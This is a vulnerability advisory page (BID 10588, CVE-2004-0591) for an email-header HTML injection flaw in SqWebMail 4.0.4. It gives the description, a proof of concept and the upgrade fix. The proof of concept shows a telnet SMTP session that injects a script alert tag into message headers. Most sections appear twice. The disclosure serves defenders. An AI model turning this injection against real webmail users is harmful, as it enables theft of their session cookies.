SqWebMail Email Header HTML Injection Vulnerability
BID:10588
Info
SqWebMail Email Header HTML Injection Vulnerability
| Bugtraq ID: | 10588 |
| Class: | Input Validation Error |
| CVE: |
CVE-2004-0591 |
| Remote: | Yes |
| Local: | No |
| Published: | Jun 21 2004 12:00AM |
| Updated: | Jul 12 2009 05:16AM |
| Credit: | Discovery of this vulnerability is credited to Luca Legato <[email protected]>. |
| Vulnerable: |
Inter7 SqWebMail 4.0.4 .20040524 |
| Not Vulnerable: |
Inter7 SqWebMail 4.0.5 |
Discussion
SqWebMail Email Header HTML Injection Vulnerability
SqWebMail is reported to be prone to an email header HTML injection vulnerability. This issue presents itself due to a failure of the application to properly sanitize user-supplied email header strings.
The problem presents itself when an unsuspecting user views an email message containing malicious HTML and script code in the email header.
An attacker can exploit this issue to gain access to an unsuspecting user's cookie based authentication credentials.
SqWebMail is reported to be prone to an email header HTML injection vulnerability. This issue presents itself due to a failure of the application to properly sanitize user-supplied email header strings.
The problem presents itself when an unsuspecting user views an email message containing malicious HTML and script code in the email header.
An attacker can exploit this issue to gain access to an unsuspecting user's cookie based authentication credentials.
Exploit / POC
SqWebMail Email Header HTML Injection Vulnerability
The following example is available:
1) sending a raw email message with malformed headers, i.e.
"<script>alert(document.location)</script>":
ashanti@dns:~$ telnet localhost 25
Trying x.x.x.x...
Connected to x.x.x.x.
Escape character is '^]'.
220 x.x.x.x ESMTP
helo foo
250 x.x.x.x
mail from:<[email protected]>
250 ok
rcpt to:<[email protected]>
250 ok
data
354 go ahead
<script>alert(document.location)</script>
.
[...]
2) sending a raw email message with the MIME Content-Type header set to
"message/delivery-status" with malformed content (see 1 above).
The following example is available:
1) sending a raw email message with malformed headers, i.e.
"<script>alert(document.location)</script>":
ashanti@dns:~$ telnet localhost 25
Trying x.x.x.x...
Connected to x.x.x.x.
Escape character is '^]'.
220 x.x.x.x ESMTP
helo foo
250 x.x.x.x
mail from:<[email protected]>
250 ok
rcpt to:<[email protected]>
250 ok
data
354 go ahead
<script>alert(document.location)</script>
.
[...]
2) sending a raw email message with the MIME Content-Type header set to
"message/delivery-status" with malformed content (see 1 above).
Solution / Fix
SqWebMail Email Header HTML Injection Vulnerability
Solution:
The vendor has released version 4.0.5 dealing with this issue. Users of affected packages are urged to upgrade.
Debian has released an advisory (DSA 533-1) to address this issue. Please see the referenced advisory for more information.
Inter7 SqWebMail 4.0.4 .20040524
Solution:
The vendor has released version 4.0.5 dealing with this issue. Users of affected packages are urged to upgrade.
Debian has released an advisory (DSA 533-1) to address this issue. Please see the referenced advisory for more information.
Inter7 SqWebMail 4.0.4 .20040524
-
Debian courier-authdaemon_0.37.3-2.5_arm.deb
Debian GNU/Linux 3.0 (woody)
http://security.debian.org/pool/updates/main/c/courier/courier-authdae mon_0.37.3-2.5_arm.deb -
Debian courier-doc_0.37.3-2.5_all.deb
Debian GNU/Linux 3.0 (woody)
http://security.debian.org/pool/updates/main/c/courier/courier-doc_0.3 7.3-2.5_all.deb -
Inter7 sqwebmail-4.0.5.tar.bz2
http://prdownloads.sourceforge.net/courier/sqwebmail-4.0.5.tar.bz2
References
SqWebMail Email Header HTML Injection Vulnerability
References:
References:
- SqWebMail Homepage (Inter7)
- XSS vulnerability in Sqwebmail 4.0.4 (Luca Legato